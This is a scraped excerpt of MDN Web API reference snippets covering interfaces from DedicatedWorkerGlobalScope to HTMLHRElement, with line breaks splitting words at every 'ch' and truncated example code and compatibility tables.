ch('^text/uri-list'))) { // drag data item is uri data[i].getasstring(function (s){ console.log("...
DedicatedWorkerGlobalScope - Web APIs
workerglobalscope.performance read only returns the performance object associated with the worker, whi
ch is a regular performance object, but with a subset of its properties and methods available.
... dedicatedworkerglobalscope.postmessage() sends a message — whi
ch can consist of any javascript object — to the parent document that first spawned the worker.
...for example: importscripts('foo.js', 'bar.js'); implemented from other places windowbase64.atob() decodes a string of data whi
ch has been encoded using base-64 encoding.
... windowtimers.setinterval() s
chedules the execution of a function every x milliseconds.
DeviceMotionEvent.rotationRate - Web APIs
returns the rate at whi
ch the device is rotating around ea
ch of its axes in degrees per second.
... syntax var rotationrate = devicemotionevent.rotationrate; value the rotationrate property is a read only object describing the rotation rates of the device around ea
ch of its axes: alpha the rate at whi
ch the device is rotating about its z axis; that is, being twisted about a line perpendicular to the screen.
... beta the rate at whi
ch the device is rotating about its x axis; that is, front to back.
... gamma the rate at whi
ch the device is rotating about its y axis; that is, side to side.
DeviceMotionEvent - Web APIs
the devicemotionevent provides web developers with information about the speed of
changes for the device's position and orientation.
... warning: currently, firefox and
chrome do not handle the coordinates the same way.
... devicemotionevent.rotationrateread only an object giving the rate of
change of the device's orientation on the three orientation axis alpha, beta and gamma.
... devicemotionevent.intervalread only a number representing the interval of time, in milliseconds, at whi
ch data is obtained from the device.
Document.createAttribute() - Web APIs
exceptions invalid_
character_err if the parameter contains invalid
characters for xml attribute.
... living standard precised behavior with uppercase
characters document object model (dom) level 3 core specificationthe definition of 'document.createattribute()' in that specification.
... obsolete no
change.
... obsolete no
change.
Document.exitFullscreen() - Web APIs
the document method exitfullscreen() requests that the element on this document whi
ch is currently being presented in full-screen mode be taken out of full-screen mode, restoring the previous state of the screen.
... return value a promise whi
ch is resolved once the user agent has finished exiting full-screen mode.
... if an error occurs while attempting to exit full-screen mode, the cat
ch() handler for the promise is called.
... document.onclick = function (event) { if (document.fullscreenelement) { document.exitfullscreen() .then(() => console.log("document exited form full screen mode")) .cat
ch((err) => console.error(err)) } else { document.documentelement.requestfullscreen(); } } note: for a more complete example, see the example in element.requestfullscreen().
Document.fonts - Web APIs
the fontfaceset interface is useful for loading new fonts,
checking the status of previously loaded fonts etc.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetfonts
chrome full support 60edge full support 79firefox full support 41 full support 41 no support 35 — 41disabled disabled from version 35 until version 41 (exclusive): this feature is behind the layout.css.font-loading-api.enabled preference (needs to be set to true).
... to
change preferences in firefox, visit about:config.ie no support noopera full support 47safari full support 10webview android full support 60
chrome android full support 60firefox android full support yesopera android full support 44safari ios full support 10samsung internet android full support 5.0legend full support full s...
Document.forms - Web APIs
ea
ch item in the collection is a htmlformelement representing a single <form> element.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetforms
chrome full support 1edge full support 12firefox full support yesie ?
... opera full support yessafari full support yeswebview android full support yes
chrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support compatibility unknown ...
Document: fullscreenerror event - Web APIs
the fullscreenerror event is fired when the browser cannot swit
ch to full-screen mode.
... bubbles yes cancelable no interface event event handler property onfullscreenerror as with the fullscreen
change event, two fullscreenerror events are fired; the first is sent to the element whi
ch failed to
change modes, and the second is sent to the document whi
ch owns that element.
... for some reasons that swit
ching into full-screen mode might fail, see the guide to the fullscreen api.
... examples const requestor = document.queryselector('div'); document.addeventlistener('fullscreenerror', (event) => { console.error('an error occurred
changing into fullscreen'); console.log(event); }); requestor.requestfullscreen(); specifications specification status fullscreen api living standard ...
Document: keypress event - Web APIs
the keypress event is fired when a key that produces a
character value is pressed down.
... examples of keys that produce a
character value are alphabetic, numeric, and punctuation keys.
... examples of keys that don't produce a
character value are modifier keys su
ch as alt, shift, ctrl, or meta.
... interface keyboardevent bubbles yes cancelable yes default action varies: keypress event; laun
ch text composition system; blur and focus events; domactivate event; other event examples addeventlistener keypress example this example logs the keyboardevent.code value whenever you press a key.
Document.lastModified - Web APIs
the lastmodified property of the document interface returns a string containing the date and time on whi
ch the current document was last modified.
...here is a possible example of how to show an alert message when the page
changes (see also: javascript cookies api): if (date.parse(document.lastmodified) > parsefloat(document.cookie.replace(/(?:(?:^|.*;)\s*last_modif\s*\=\s*([^;]*).*$)|^.*$/, "$1") || "0")) { document.cookie = "last_modif=" + date.now() + "; expires=fri, 31 dec 9999 23:59:59 gmt; path=" + location.pathname; alert("this page has
changed!"); } …the same example, but skipping the first visit: var...
... nlastvisit = parsefloat(document.cookie.replace(/(?:(?:^|.*;)\s*last_modif\s*\=\s*([^;]*).*$)|^.*$/, "$1")), nlastmodif = date.parse(document.lastmodified); if (isnan(nlastvisit) || nlastmodif > nlastvisit) { document.cookie = "last_modif=" + date.now() + "; expires=fri, 31 dec 9999 23:59:59 gmt; path=" + location.pathname; if (isfinite(nlastvisit)) { alert("this page has been
changed!"); } } note: webkit returns the time string in utc; gecko and internet explorer return a time in the local timezone.
... (see: bug 4363 – document.lastmodified returns date in utc time, but should return it in local time) if you want to know whether an external page has
changed, please read this paragraph about the xmlhttprequest() api.
Document.lastStyleSheetSet - Web APIs
this property's value
changes whenever the document.selectedstylesheetset property is
changed.
...if the current style sheet set has not been
changed by setting document.selectedstylesheetset, the returned value is null.
... note: this value doesn't
change when document.enablestylesheetsforset() is called.
... example let lastsheetset = document.laststylesheetset; if (!lastsheetset) { lastsheetset = 'style sheet not yet
changed'; } else { console.log('the last style sheet set is: ' + lastsheetset); } ...
Document.mozSetImageElement() - Web APIs
the document.mozsetimageelement() method
changes the element being used as the css background for a background with a given background element id.
... example this example
changes the background of a <div> block ea
ch time the block is clicked by the user.
...00; function clicked() { var canvas = document.createelement("canvas"); canvas.setattribute("width", 100); canvas.setattribute("height", 100); var ctx = canvas.getcontext('2d'); ctx.fillstyle = "#" + c.tostring(16) + "0000"; ctx.fillrect(25, 25, 75, 75); c += 0x11; if (c > 0xff) { c = 0x00; } document.mozsetimageelement("canvasbg", canvas); } the code here is called ea
ch time the user clicks the <div> element.
...ea
ch time the function is called, the square is a different color (its red component is increased ea
ch time), so ea
ch time the user clicks the element, the background is filled with a brighter and brighter pattern of red tiles.
Document.popupNode - Web APIs
when a popup atta
ched via the popup or context attributes is opened, the xul document's popupnode property is set to the node that was clicked on.
...typically, this property will be
checked during a popupshowing event handler for a context menu to initialize the menu based on the context.
... this property is only set for popups atta
ched via the popup or context attributes.
... for other types of popups, the value is not
changed.
Document.visibilityState - Web APIs
the document.visibilitystate read-only property returns the visibility of the document, that is in whi
ch context this element is now visible.
...
check compatibility table for details.
... when the value of this property
changes, the visibility
change event is sent to the document.
... syntax var string = document.visibilitystate examples document.addeventlistener("visibility
change", function() { console.log( document.visibilitystate ); // modify behavior...
DocumentOrShadowRoot.activeElement - Web APIs
other times the focused element might be a <select> element (menu) or an <input> element, of type "button", "
checkbox", or "radio".
...whi
ch elements are focusable varies depending on the platform and the browser's current configuration.
... note: focus (whi
ch element is receiving user input events) is not the same thing as selection (the currently highlighted part of the document).
... syntax element = documentorshadowroot.activeelement value the element whi
ch currently has focus, <body> or null if there is no focused element.
DocumentOrShadowRoot.elementFromPoint() - Web APIs
if the element at the given point is anonymous or xbl generated content, su
ch as a textbox's scroll bars, then the first non-anonymous ancestor element (for example, the textbox) is returned.
... example this example creates two buttons whi
ch let you set the current color of the paragraph element located under the coordinates (2, 2).
... javascript function
changecolor(newcolor) { elem = document.elementfrompoint(2, 2); elem.style.color = newcolor; } the
changecolor() method simply obtains the element located at the specified point, then sets that element's current foreground color property to the color specified by the newcolor parameter.
... html <p id="para1">some text here</p> <button onclick="
changecolor('blue');">blue</button> <button onclick="
changecolor('red');">red</button> the html provides the paragraph whose color will be affected, as well as two buttons: one to
change the color to blue, and another to
change the color to red.
DynamicsCompressorNode - Web APIs
the dynamicscompressornode interface provides a compression effect, whi
ch lowers the volume of the loudest parts of the signal in order to help prevent clipping and distortion that can occur when multiple sounds are played and multiplexed together at once.
... number of inputs 1 number of outputs 1
channel count mode "clamped-max"
channel count 2
channel interpretation "speakers" constructor dynamicscompressornode() creates a new instance of an dynamicscompressornode object.
... dynamicscompressornode.threshold read only is a k-rate audioparam representing the decibel value above whi
ch the compression will start taking effect.
... dynamicscompressornode.ratio read only is a k-rate audioparam representing the amount of
change, in db, needed in the input for a 1 db
change in the output.
EXT_texture_compression_bptc - Web APIs
ea
ch 4x4 block of texels consists of 128 bits of rgba or image data.
...ea
ch 4x4 block of texels consists of 128 bits of srgb_alpha or image data.
...ea
ch 4x4 block of texels consists of 128 bits of rgb data.
...ea
ch 4x4 block of texels consists of 128 bits of rgb data.
EXT_texture_compression_rgtc - Web APIs
ext.compressed_red_rgtc1_ext ea
ch 4x4 block of texels consists of 64 bits of unsigned red image data.
... ext.compressed_signed_red_rgtc1_ext ea
ch 4x4 block of texels consists of 64 bits of signed red image data.
... ext.compressed_red_green_rgtc2_ext ea
ch 4x4 block of texels consists of 64 bits of compressed unsigned red image data followed by 64 bits of compressed unsigned green image data.
... ext.compressed_signed_red_green_rgtc2_ext ea
ch 4x4 block of texels consists of 64 bits of compressed signed red image data followed by 64 bits of compressed signed green image data.
EffectTiming - Web APIs
direction optional whether the animation runs forwards (normal), backwards (reverse), swit
ches direction after ea
ch iteration (alternate), or runs backwards and swit
ches direction after ea
ch iteration (alternate-reverse).
... duration optional the number of milliseconds ea
ch iteration of the animation takes to complete.
...although this is te
chnically optional, keep in mind that your animation will not run if this value is 0.
... easing optional the rate of the animation's
change over time.
Element: MSGestureHold event - Web APIs
the msgesturehold event is fired when the user contacts the tou
ch surface and remains in the same position for a while.
... bubbles unknown cancelable unknown interface msgestureevent event handler property unknown the uievent.detail property of an msgesturehold event has 3 possible values: msgesture_flag_begin this value indicates that the user started contacting the tou
ch surface.
... msgesture_flag_end this value indicates that the user has stopped tou
ching the tou
ch surface.
... msgesture_flag_end & msgesture_flag_cancel (bitwise and-ed together) this value indicates that the user has moved their finger, regardless of whether they also stopped tou
ching the tou
ch surface specifications not part of any specification.
Element: fullscreenerror event - Web APIs
the fullscreenerror event is fired when the browser cannot swit
ch to full-screen mode.
... bubbles yes cancelable no interface event event handler property onfullscreenerror as with the fullscreen
change event, two fullscreenerror events are fired; the first is sent to the element whi
ch failed to
change modes, and the second is sent to the document whi
ch contains that element.
... for some reasons that swit
ching into full-screen mode might fail, see the guide to the fullscreen api.
... examples const requestor = document.queryselector('div'); requestor.addeventlistener('fullscreenerror', (event) => { console.error('an error occurred
changing into fullscreen'); console.log(event); }); requestor.requestfullscreen(); specifications specification status fullscreen api living standard ...
Element.getAnimations() - Web APIs
the getanimations() method of the element interface (specified on the animatable mixin) returns an array of all animation objects affecting this element or whi
ch are s
cheduled to do so in future.
... syntax const animations = element.getanimations(options); parameters options optional an options object containing the following property: subtree a boolean value whi
ch, if true, causes animations that target descendants of element to be returned as well.
... this includes animations that target any css pseudo-elements atta
ched to element or one of its descendents.
... return value an array of animation objects, ea
ch representing an animation currently targetting the element on whi
ch this method is called, or one of its descendant elements if { subtree: true } is specified.
Element: keypress event - Web APIs
the keypress event is fired when a key that produces a
character value is pressed down.
... examples of keys that produce a
character value are alphabetic, numeric, and punctuation keys.
... examples of keys that don't produce a
character value are modifier keys su
ch as alt, shift, ctrl, or meta.
... interface keyboardevent bubbles yes cancelable yes default action varies: keypress event; laun
ch text composition system; blur and focus events; domactivate event; other event examples addeventlistener keypress example this example logs the keyboardevent.code value whenever you press a key after focussing the <input> element.
Element.outerHTML - Web APIs
exceptions syntaxerror an attempt was made to set outerhtml using an html string whi
ch is not valid.
... nomodificationallowederror an attempt was made to set outerhtml on an element whi
ch is a direct
child of a document, su
ch as document.documentelement.
..."d"); console.log(d.outerhtml); // the string '<div id="d"><p>content</p><p>further elaborated</p></div>' // is written to the console window replacing a node by setting the outerhtml property: html <div id="container"> <div id="d">this is a div.</div> </div> javascript var container = document.getelementbyid("container"); var d = document.getelementbyid("d"); console.log(container.first
child.nodename); // logs "div" d.outerhtml = "<p>this paragraph replaced the original div.</p>"; console.log(container.first
child.nodename); // logs "p" // the #d div is no longer part of the document tree, // the new paragraph replaced it.
... notes if the element has no parent element, setting its outerhtml property will not
change it or its descendants.
Element: underflow event - Web APIs
the non-standard underflow event, whi
ch is specific to firefox, is fired when an element is no longer overflowed by its content.
... this only works for elements for whi
ch overflow is not set to visible.
... bubbles yes cancelable yes interface uievent event handler property unknown examples <div id="wrapper"> <div id="
child"></div> </div> <br/> <label><input type="
checkbox" id="toggle"
checked/> overflow</label> <style> #wrapper { width: 20px; height: 20px; background: #000; padding: 5px; overflow: hidden; } #
child { width: 40px; height: 40px; border: 2px solid grey; background: #ccc; } </style> <script> var wrapper = document.getelementbyid("wrapper"),
child = document.getelementbyid("
child"), toggle = document.getelementbyid("toggle"); wrapper.addeventlistener("overflow", function( event ) { console.lo...
...g( event ); }, false); wrapper.addeventlistener("underflow", function( event ) { console.log( event ); }, false); toggle.addeventlistener("
change", function( event ) { if ( event.target.
checked ) {
child.style.width = "40px";
child.style.height = "40px"; } else {
child.style.width = "10px";
child.style.height = "10px"; } }, false); </script> specifications not part of any specification.
FederatedCredential - Web APIs
in supporting browsers, an instance of this class may be passed the credential received from the init object for global fet
ch.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetfederatedcredential() constructor non-standard
chrome full support 51edge full support ≤79firefox ?
... webview android full support 51
chrome android full support 51firefox android ?
File.lastModified - Web APIs
the file.lastmodified read-only property provides the last modified date of the file as the number of milliseconds since the unix epo
ch (january 1, 1970 at midnight).
... syntax const time = instanceoffile.lastmodified; value a number that represents the number of milliseconds since the unix epo
ch.
... example reading from file input <input type="file" multiple id="fileinput"> const fileinput = document.queryselector('#fileinput'); fileinput.addeventlistener('
change', (event) => { // files is a filelist object (similar to nodelist) const files = event.target.files; for (let file of files) { const date = new date(file.lastmodified); console.log(`${file.name} has a last modified date of ${date}`); } }); try the results out below: dynamically created files if a file is created dynamically, the last modified time can be supplied in the new file() constructor function.
... in firefox, you can also enabled privacy.resistfingerprinting, the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whi
chever is larger.
FileEntrySync - Web APIs
inherits from: entrysync about this document this document was last updated on mar
ch 2, 2012 and follows the w3c specifications (working draft) drafted on april 19, 2011.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetfileentrysync non-standard
chrome full support 13prefixed full support 13prefixed prefixed implemented with the vendor prefix: webkitedge full support ≤79prefixed full support ≤79prefixed prefixed implemented with the vendor prefix: webkitfirefox no support noie no support noopera no support nosafari no sup...
...port nowebview android full support 37prefixed full support 37prefixed prefixed implemented with the vendor prefix: webkit
chrome android full support 18prefixed full support 18prefixed prefixed implemented with the vendor prefix: webkitfirefox android no support noopera android no support nosafari ios no support nosamsung internet android full support 1.0prefixed full support ...
FileReader.result - Web APIs
this property is only valid after the read operation is complete, and the format of the data depends on whi
ch of the methods was used to initiate the read operation.
... syntax var file = instanceoffilereader.result value an appropiate string or arraybuffer based on whi
ch of the reading methods was used to initiate the read operation.
... example this example presents a function, read(), whi
ch reads a file from a file input.
... it works by creating a filereader object and creating a listener for load events su
ch that when then file is read, the result is obtained and passed to the callback function provided to read().
GainNode() - Web APIs
the gainnode() constructor of the web audio api creates a new gainnode object whi
ch an audionode that represents a
change in volume.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetgainnode() constructor
chrome full support 55notes full support 55notes notes before
chrome 59, the default values were not supported.edge full support ≤79firefox full support 53ie no support noopera full support 42safari ?
... webview android full support 55notes full support 55notes notes before
chrome 59, the default values were not supported.
chrome android full support 55notes full support 55notes notes before
chrome 59, the default values were not supported.firefox android full support 53opera android full support 42safari ios ?
Gamepad.buttons - Web APIs
ea
ch entry in the array is 0 if the button is not pressed, and non-zero (typically 1.0) if the button is pressed.
... ea
ch gamepadbutton object has two properties: pressed and value: the pressed property is a boolean indicating whether the button is currently pressed (true) or unpressed (false).
... the value property is a floating point value used to enable representing analog buttons, su
ch as the triggers on many modern gamepads.
... syntax readonly attribute gamepadbutton[] buttons; example the following code is taken from my gamepad api button demo (you can view the demo live, and find the source code on github.) note the code fork — in
chrome navigator.getgamepads needs a webkit prefix and the button values are stores as an array of double values, whereas in firefox navigator.getgamepads doesn't need a prefix, and the button values are stored as an array of gamepadbutton objects; it is the gamepadbutton.value or gamepadbutton.pressed properties of these we need to access, depending on what type of buttons they are.
GlobalEventHandlers.onpointerleave - Web APIs
the global event handler for the pointerleave event, whi
ch is delivered to a node when the pointer (mouse cursor, fingertip, etc.) exits its hit test area (for example, if the cursor exits an element or window's content area).
... syntax eventtarget.onpointerleave = leavehandler; var leavehandler = eventtarget.onpointerleave; value leavehandler the eventlistener whi
ch will be invoked to handle pointerleave events sent to the target.
... <html> <script> function leavehandler(ev) { // process the pointerleave event } function init() { var el=document.getelementbyid("target1"); el.onpointerleave = leavehandler; } </script> <body onload="init();"> <div id="target1"> tou
ch me ...
... </div> <div id="target2" onpointerleave="leavehandler(event)"> tou
ch me ...
HTMLCanvasElement.captureStream() - Web APIs
the htmlcanvaselement capturestream() method returns a mediastream whi
ch includes a canvascapturemediastreamtrack containing a real-time video capture of the canvas's contents.
... syntax mediastream = canvas.capturestream(framerate); parameters framerate optional a double-precision floating-point value that indicates the rate of capture of ea
ch frame.
... if not set, a new frame will be captured ea
ch time the canvas
changes; if set to 0, frames will not be captured automatically; instead, they will only be captured when the returned track's requestframe() method is called.
... return value a reference to a mediastream object, whi
ch has a single canvascapturemediastreamtrack in it.
HTMLCanvasElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlcanvaselement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle...
... htmlcanvaselement.toblob() creates a blob object representing the image contained in the canvas; this file may be ca
ched on the disk or stored in memory at the discretion of the user agent.
HTMLDataElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmldataelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">...
... htmldataelement.value is a domstring reflecting the value html attribute, containing a ma
chine-readable form of the element's value.
HTMLDocument - Web APIs
the htmldocument interface, whi
ch may be accessed through the window.htmldocument property, extends the window.htmldocument property to include methods and properties that are specific to html documents.
...idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/document" target="_top"><rect x="266" y="1" width="80" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="306" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">document</text></a><polyline points="346,25 356,20 356,30 346,25" stroke="#d4dde4" fill="none"/><line x1="356" y1="25" x2="386" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmldocument" target="_top"><rect x="386" y="1" width="120" hei...
...ght="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="446" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmldocument</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} for the purposes of web development, you can generally think of htmldocument as an alias for document, upon whi
ch htmldocument is based.
inert - Web APIs
the boolean inert attribute, when present, may make the browser "ignore" the element from assistive te
chnologies, page sear
ch and text selection.
... this can be useful when building uis su
ch as modals where you would want to "trap" the focus inside the modal when it's visible.
... according to the spec: when a node is inert, then the user agent must act as if the node was absent for the purposes of targeting user interaction events, may ignore the node for the purposes of text sear
ch user interfaces (commonly known as "find in page"), and may prevent the user from selecting text in that node.
...
check out the following polyfills: inert ...
HTMLElement.offsetHeight - Web APIs
it does not include the height of pseudo-elements su
ch as ::before or ::after.
... example the example image above shows a scrollbar and an offsetheight whi
ch fits on the window.
... however, non-scrollable elements may have large offsetheight values, mu
ch larger than the visible content.
... working draft notes offsetheight is a property of the dhtml object model whi
ch was first introduced by msie.
HTMLElement.offsetParent - Web APIs
the htmlelement.offsetparent read-only property returns a reference to the element whi
ch is the closest (nearest in the containment hierar
chy) positioned ancestor element.
... syntax parentobj = element.offsetparent; parentobj is an object reference to the element in whi
ch the current element is offset.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetoffsetparent
chrome full support 1edge full support 12firefox full support 1ie full support 8opera full support 8safari full support 3webview android full support 1
chrome android full support 18firefox android full support 4opera android ...
HTMLFormElement.elements - Web APIs
prior to html 5, the returned object was an htmlcollection, on whi
ch htmlformcontrolscollection is based.
...this is a live collection; if form controls are added to or removed from the form, this collection will update to reflect the
change.
... the form controls in the returned collection are in the same order in whi
ch they appear in the form by following a preorder, depth-first traversal of the tree.
... the elements included by htmlformelement.elements and htmlformelement.length are the following: <button> <fieldset> <input> (with the exception that any whose type is "image" are omitted for historical reasons) <object> <output> <select> <textarea> no other elements are included in the list returned by elements, whi
ch makes it an excellent way to get at the elements most important when processing forms.
HTMLFormElement: submit event - Web APIs
however, the submitevent whi
ch is sent to indicate the form's submit action has been triggered includes a submitter property, whi
ch is the button that was invoked to trigger the submit request.
... working draft no
change html 5.2the definition of 'submit' in that specification.
... recommendation no
change html 5.1the definition of 'submit' in that specification.
... recommendation no
change html5the definition of 'submit' in that specification.
HTMLHRElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
